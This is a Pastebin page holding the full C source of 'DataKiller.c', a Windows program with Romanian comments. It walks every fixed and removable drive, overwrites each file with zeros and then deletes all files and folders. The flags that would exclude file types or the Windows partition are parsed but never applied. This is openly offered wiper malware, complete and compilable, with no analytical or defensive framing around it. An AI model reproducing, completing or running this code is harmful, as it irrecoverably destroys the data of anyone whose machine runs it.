Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Name: DataKiller.c
- Description: Delete all deleteable files
- Authors: Grupul C/C++ Coder @ Romanian Security Team
- Info: Nu toate optiunile au fost implementate
- */
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- /* Setari definite de utilizator - puteti sa modificati valorile */
- int safe_file_delete = 1; /* "-[n]sf" Sterge fisierul fara sa poata fi recuperat */
- int safe_delete_file_info = 0; /* "-[n]si" Sterge si informatiile despre fisier */
- int delete_all_files = 1; /* "-[n]da" Sterge toate fisierele */
- int delete_all_images = 1; /* "-[n]di" Sterge toate imaginile */
- int delete_all_media = 1; /* "-[n]dm" Sterge toate melodiile, videoclipurile */
- int delete_all_documents = 1; /* "-[n]dd" Sterge toate documentele */
- int exclude_windows_partition = 0; /* "-[n]ew" Nu sterge nimic de pe partita cu Windows-ul */
- /* Marimi buffere */
- #define VOLNAME_SIZE 4
- #define VOLBUFFER_SIZE 1337
- #define DIRBUFFER_SIZE 255
- #define FILENAME_SIZE 31337
- /* Contoare pentru nr. de fisiere si de foldere - statistici */
- int nr_files = 0;
- int nr_directories = 0;
- int deleted_files = 0;
- int deleted_directories = 0;
- /* Functia inlocuieste datele dintr-un fisier cu 0 (NULL) */
- void NullFile(const char *fisier)
- {
- HANDLE hFisier = NULL;
- DWORD file_size = 0;
- DWORD file_size_2 = 0, written = 0;
- unsigned char *buf = NULL;
- SetFileAttributes(fisier, FILE_ATTRIBUTE_NORMAL);
- hFisier = CreateFile(fisier, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL);
- if(hFisier != INVALID_HANDLE_VALUE)
- {
- file_size = GetFileSize(hFisier, &file_size_2);
- /* NULL-uim fisierul, ca sa nu poata fi recuperate datele */
- buf = (unsigned char *)malloc(file_size);
- memset(buf, 0, file_size);
- WriteFile(hFisier, buf, file_size, &written, NULL);
- free(buf);
- CloseHandle(hFisier);
- }
- }
- /* Functie recursiva, sterge folderele si fisierele */
- void DeleteFiles(char *directory)
- {
- WIN32_FIND_DATA file_data;
- HANDLE hFisier;
- int new_file = 1;
- char dir_buffer[DIRBUFFER_SIZE] = {0};
- char file_name[FILENAME_SIZE] = {0};
- char new_dir[DIRBUFFER_SIZE] = {0};
- /* Formam sirul de caractere pentru FindFirstFile */
- memset(&file_data, 0, sizeof(WIN32_FIND_DATA));
- sprintf(dir_buffer, "%s*", directory);
- hFisier = FindFirstFile(dir_buffer, &file_data);
- /* Parcurgem folderul */
- while(hFisier != INVALID_HANDLE_VALUE && new_file)
- {
- sprintf(file_name, "%s%s", directory, file_data.cFileName);
- /* Daca e folder */
- if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1))
- {
- sprintf(new_dir, "%s\\", file_name);
- /* Evitam "." si ".." */
- if(file_name[strlen(file_name) - 1] != '.')
- {
- nr_directories++;
- DeleteFiles(new_dir);
- if(RemoveDirectory(new_dir)) deleted_directories++;
- }
- }
- /* Daca e fisier */
- else
- {
- nr_files++;
- if(safe_file_delete) NullFile(file_name);
- if(DeleteFile(file_name)) deleted_files++;
- }
- /* Trecem la urmatorul fisier/folder */
- new_file = FindNextFile(hFisier, &file_data);
- }
- FindClose(hFisier);
- }
- int main(int argc, char *argv[])
- {
- char *dir_buffer = NULL;
- char **drives = NULL;
- int dir_buf_size = 0, nr_drives = 0, i = 0, a = 0;
- /* Verificam parametrii din linia de comanda */
- if(argc > 1)
- {
- for(a = 1; a < argc; a++)
- {
- /* Luam fiecare parametru in parte */
- if(strcmp(argv[a], "-sf") == 0) safe_file_delete = 1;
- else if(strcmp(argv[a], "-nsf") == 0) safe_file_delete = 0;
- else if(strcmp(argv[a], "-si") == 0) safe_delete_file_info = 1;
- else if(strcmp(argv[a], "-nsi") == 0) safe_delete_file_info = 0;
- else if(strcmp(argv[a], "-da") == 0) delete_all_files = 1;
- else if(strcmp(argv[a], "-nda") == 0) delete_all_files = 0;
- else if(strcmp(argv[a], "-di") == 0) delete_all_images = 1;
- else if(strcmp(argv[a], "-ndi") == 0) delete_all_images = 0;
- else if(strcmp(argv[a], "-dm") == 0) delete_all_media = 1;
- else if(strcmp(argv[a], "-ndm") == 0) delete_all_media = 0;
- else if(strcmp(argv[a], "-dd") == 0) delete_all_documents = 1;
- else if(strcmp(argv[a], "-ndd") == 0) delete_all_documents = 0;
- else if(strcmp(argv[a], "-ew") == 0) exclude_windows_partition = 1;
- else if(strcmp(argv[a], "-new") == 0) exclude_windows_partition = 0;
- }
- }
- /* Alocam memorie */
- dir_buffer = (char *)malloc(VOLBUFFER_SIZE);
- dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer);
- nr_drives = dir_buf_size / VOLNAME_SIZE;
- drives = (char **)malloc(sizeof(char *) * nr_drives);
- /* Parcurgem volumele */
- for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++)
- {
- drives[i] = (char *)malloc(VOLNAME_SIZE);
- strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE);
- printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i]));
- if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]);
- }
- printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files);
- printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files);
- /* Eliberam memoria */
- for(i = 0; i < nr_drives; i++) free(drives[i]);
- free(drives);
- free(dir_buffer);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement